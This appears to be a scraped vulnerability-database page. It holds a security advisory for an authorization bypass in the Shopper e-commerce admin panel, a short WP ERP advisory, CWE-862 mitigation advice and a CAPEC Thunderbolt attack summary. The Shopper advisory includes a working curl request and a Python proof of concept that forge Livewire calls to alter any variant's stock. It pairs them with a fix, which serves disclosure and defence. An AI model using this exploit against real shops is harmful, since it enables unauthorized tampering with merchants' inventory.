# Obtain them from a normal browser login, then use them below.
SESSION="laravel_session=<your_session_value>"
XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>"
# Step 2: Load the product variant page for any variant ID (e.g., 1).
# Capture the Livewire snapshot from the page source.
# Step 3: Call the stock action on an arbitrary variant.
# The wire payload sets "component.variant" to any variant ID in the database.
curl -s -X POST http://localhost/shopper/livewire/update \
-H "Content-Type: application/json" \
-H "$XSRF" \
-H "Cookie: $SESSION" \
-d '{
"components": [{
"snapshot": "{\"id\":\"VARIANT_STOCK_COMPONENT_ID\",\"data\":{\"variant\":42},\"checksum\":\"...\"}",
"updates": {},
"calls": [{"path":"","method":"callAction","params":["stock",{"inventory":1,"quantity":999}]}]
}]
}'
# Expected: HTTP 200, variant 42 stock increased by 999 regardless of caller permissions.
Proof of concept
#!/usr/bin/env python3
"""
VariantStock authorization bypass PoC.
Set these environment variables before running:
BASE_URL e.g. http://localhost
SESSION_COOKIE value of the laravel_session cookie
XSRF_TOKEN URL-decoded value of the XSRF-TOKEN cookie
COMPONENT_ID Livewire component snapshot ID (from page source)
VARIANT_ID integer ID of any target variant
INVENTORY_ID integer ID of the target inventory location
QUANTITY integer quantity adjustment (positive or negative)
"""
import json
import os
import requests
base_url = os.environ['BASE_URL']
session = os.environ['SESSION_COOKIE']
xsrf = os.environ['XSRF_TOKEN']
component_id = os.environ['COMPONENT_ID']
variant_id = int(os.environ['VARIANT_ID'])
inventory_id = int(os.environ['INVENTORY_ID'])
quantity = int(os.environ['QUANTITY'])
headers = {
'Content-Type': 'application/json',
'Accept': 'text/html, application/xhtml+xml',
'X-XSRF-TOKEN': xsrf,
'Cookie': f'laravel_session={session}',
'X-Livewire': '1',
}
snapshot = json.dumps({
'id': component_id,
'data': {'variant': variant_id},
'checksum': 'UNLOCKED_PROP_NO_CHECKSUM_NEEDED',
})
payload = {
'components': [{
'snapshot': snapshot,
'updates': {},
'calls': [{
'path': '',
'method': 'callAction',
'params': ['stock', {
'inventory': inventory_id,
'quantity': quantity,
}]
}]
}]
}
r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status_code}')
print(r.text[:500])
Impact
Any authenticated admin panel user, regardless of role, can set the inventory quantity of any product variant to an arbitrary value. A browse-only staff member holding only browse_products can zero out stock for every variant (triggering out-of-stock states store-wide) or inflate stock counts to bypass stock-gating at checkout. Because $variant is not locked, the attacker is not limited to variants visible on their current page; they can target any variant by its integer ID.
Suggested fix
// packages/admin/src/Livewire/Components/Products/VariantStock.php
use Livewire\Attributes\Locked;
#[Locked] // prevent client-side ID substitution
public $variant;
public function stockAction(): Action
{
return Action::make('stock')
->authorize('edit_product_variants') // add this
// ... rest of the action
Credits
Reported by Vishal Shukla (@shukla304 / @therawdev).
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "shopper/framework"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.9.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-56829"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-11T21:29:20Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Title\n\nUnauthorized inventory stock manipulation via unlocked variant property in VariantStock component\n\n## Description\n\nA lack of authorization control was discovered in the `stockAction()` method in `packages/admin/src/Livewire/Components/Products/VariantStock.php`. The component exposes a `public $variant` property without the `#[Locked]` attribute, so the variant ID is client-mutable via the Livewire wire payload. The `stockAction()` returns an Action with no `-\u003eauthorize(...)` chain, meaning any authenticated admin-panel session, including browse-only staff who hold zero edit permissions, can call this action to adjust inventory levels for any product variant. The combination of missing authorization and an unlocked model binding lets the attacker both bypass the permission gate and redirect the mutation to an arbitrary variant in the database.\n\n## Severity\n\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)\n\n## Affected files\n\n- `packages/admin/src/Livewire/Components/Products/VariantStock.php:34-91`\n\n```php\n// Line 34 - unprotected, client-mutable variant binding\npublic $variant;\n\n// Lines 36-91 - no -\u003eauthorize(...) on the Action\npublic function stockAction(): Action\n{\n return Action::make(\u0027stock\u0027)\n -\u003elabel(__(\u0027shopper::forms.actions.update\u0027))\n -\u003ecolor(\u0027gray\u0027)\n -\u003eicon(Untitledui::Package)\n -\u003emodalHeading(__(\u0027shopper::pages/products.modals.variants.title\u0027))\n -\u003emodalWidth(Width::Large)\n -\u003eschema([\n Select::make(\u0027inventory\u0027)\n -\u003elabel(__(\u0027shopper::pages/products.inventory_name\u0027))\n -\u003eoptions(Inventory::query()-\u003epluck(\u0027name\u0027, \u0027id\u0027))\n -\u003enative(false)\n -\u003erequired(),\n TextInput::make(\u0027quantity\u0027)\n -\u003elabel(__(\u0027shopper::forms.label.quantity\u0027))\n -\u003eplaceholder(\u0027-10 or -5 or 50, etc\u0027)\n -\u003enumeric()\n -\u003erequired(),\n ])\n -\u003eaction(function (array $data): void {\n // ...calls $this-\u003evariant-\u003emutateStock(...) or decreaseStock(...)\n // with no permission check anywhere in this path\n });\n}\n```\n\n## Steps to reproduce\n\nPrerequisites: an admin-panel account with any role (including a role that holds only `browse_products` or `browse_orders`). No `edit_product_variants` permission is required.\n\n```bash\n# Step 1: Log in and obtain a session cookie and Livewire CSRF token.\n# Obtain them from a normal browser login, then use them below.\n\nSESSION=\"laravel_session=\u003cyour_session_value\u003e\"\nXSRF=\"X-XSRF-TOKEN: \u003curl-decoded-value-of-XSRF-TOKEN-cookie\u003e\"\n\n# Step 2: Load the product variant page for any variant ID (e.g., 1).\n# Capture the Livewire snapshot from the page source.\n\n# Step 3: Call the stock action on an arbitrary variant.\n# The wire payload sets \"component.variant\" to any variant ID in the database.\n\ncurl -s -X POST http://localhost/shopper/livewire/update \\\n -H \"Content-Type: application/json\" \\\n -H \"$XSRF\" \\\n -H \"Cookie: $SESSION\" \\\n -d \u0027{\n \"components\": [{\n \"snapshot\": \"{\\\"id\\\":\\\"VARIANT_STOCK_COMPONENT_ID\\\",\\\"data\\\":{\\\"variant\\\":42},\\\"checksum\\\":\\\"...\\\"}\",\n \"updates\": {},\n \"calls\": [{\"path\":\"\",\"method\":\"callAction\",\"params\":[\"stock\",{\"inventory\":1,\"quantity\":999}]}]\n }]\n }\u0027\n# Expected: HTTP 200, variant 42 stock increased by 999 regardless of caller permissions.\n```\n\n## Proof of concept\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVariantStock authorization bypass PoC.\n\nSet these environment variables before running:\n BASE_URL e.g. http://localhost\n SESSION_COOKIE value of the laravel_session cookie\n XSRF_TOKEN URL-decoded value of the XSRF-TOKEN cookie\n COMPONENT_ID Livewire component snapshot ID (from page source)\n VARIANT_ID integer ID of any target variant\n INVENTORY_ID integer ID of the target inventory location\n QUANTITY integer quantity adjustment (positive or negative)\n\"\"\"\n\nimport json\nimport os\nimport requests\n\nbase_url = os.environ[\u0027BASE_URL\u0027]\nsession = os.environ[\u0027SESSION_COOKIE\u0027]\nxsrf = os.environ[\u0027XSRF_TOKEN\u0027]\ncomponent_id = os.environ[\u0027COMPONENT_ID\u0027]\nvariant_id = int(os.environ[\u0027VARIANT_ID\u0027])\ninventory_id = int(os.environ[\u0027INVENTORY_ID\u0027])\nquantity = int(os.environ[\u0027QUANTITY\u0027])\n\nheaders = {\n \u0027Content-Type\u0027: \u0027application/json\u0027,\n \u0027Accept\u0027: \u0027text/html, application/xhtml+xml\u0027,\n \u0027X-XSRF-TOKEN\u0027: xsrf,\n \u0027Cookie\u0027: f\u0027laravel_session={session}\u0027,\n \u0027X-Livewire\u0027: \u00271\u0027,\n}\n\nsnapshot = json.dumps({\n \u0027id\u0027: component_id,\n \u0027data\u0027: {\u0027variant\u0027: variant_id},\n \u0027checksum\u0027: \u0027UNLOCKED_PROP_NO_CHECKSUM_NEEDED\u0027,\n})\n\npayload = {\n \u0027components\u0027: [{\n \u0027snapshot\u0027: snapshot,\n \u0027updates\u0027: {},\n \u0027calls\u0027: [{\n \u0027path\u0027: \u0027\u0027,\n \u0027method\u0027: \u0027callAction\u0027,\n \u0027params\u0027: [\u0027stock\u0027, {\n \u0027inventory\u0027: inventory_id,\n \u0027quantity\u0027: quantity,\n }]\n }]\n }]\n}\n\nr = requests.post(f\u0027{base_url}/shopper/livewire/update\u0027, headers=headers, json=payload)\nprint(f\u0027Status: {r.status_code}\u0027)\nprint(r.text[:500])\n```\n\n## Impact\n\nAny authenticated admin panel user, regardless of role, can set the inventory quantity of any product variant to an arbitrary value. A browse-only staff member holding only `browse_products` can zero out stock for every variant (triggering out-of-stock states store-wide) or inflate stock counts to bypass stock-gating at checkout. Because `$variant` is not locked, the attacker is not limited to variants visible on their current page; they can target any variant by its integer ID.\n\n## Suggested fix\n\n```php\n// packages/admin/src/Livewire/Components/Products/VariantStock.php\n\nuse Livewire\\Attributes\\Locked;\n\n#[Locked] // prevent client-side ID substitution\npublic $variant;\n\npublic function stockAction(): Action\n{\n return Action::make(\u0027stock\u0027)\n -\u003eauthorize(\u0027edit_product_variants\u0027) // add this\n // ... rest of the action\n```\n\n## Credits\n\nReported by Vishal Shukla ([@shukla304](https://github.com/shukla304) / [@therawdev](https://github.com/therawdev)).",
"id": "GHSA-g3f9-g5vj-p62f",
"modified": "2026-09-11T21:29:20Z",
"published": "2026-09-11T21:29:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/shopperlabs/shopper/security/advisories/GHSA-g3f9-g5vj-p62f"
},
{
"type": "PACKAGE",
"url": "https://github.com/shopperlabs/shopper"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Shopper: Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component"
}
GHSA-G3FG-M5V4-28J4
Vulnerability from github – Published: 2025-12-09 18:30 – Updated: 2026-01-20 15:32Missing Authorization vulnerability in weDevs WP ERP erp allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP ERP: from n/a through <= 1.16.7.
{
"affected": [],
"aliases": [
"CVE-2025-63008"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-09T16:18:06Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in weDevs WP ERP erp allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP ERP: from n/a through \u003c= 1.16.7.",
"id": "GHSA-g3fg-m5v4-28j4",
"modified": "2026-01-20T15:32:03Z",
"published": "2025-12-09T18:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-63008"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/erp/vulnerability/wordpress-wp-erp-plugin-1-16-7-broken-access-control-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Plugin/erp/vulnerability/wordpress-wp-erp-plugin-1-16-7-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.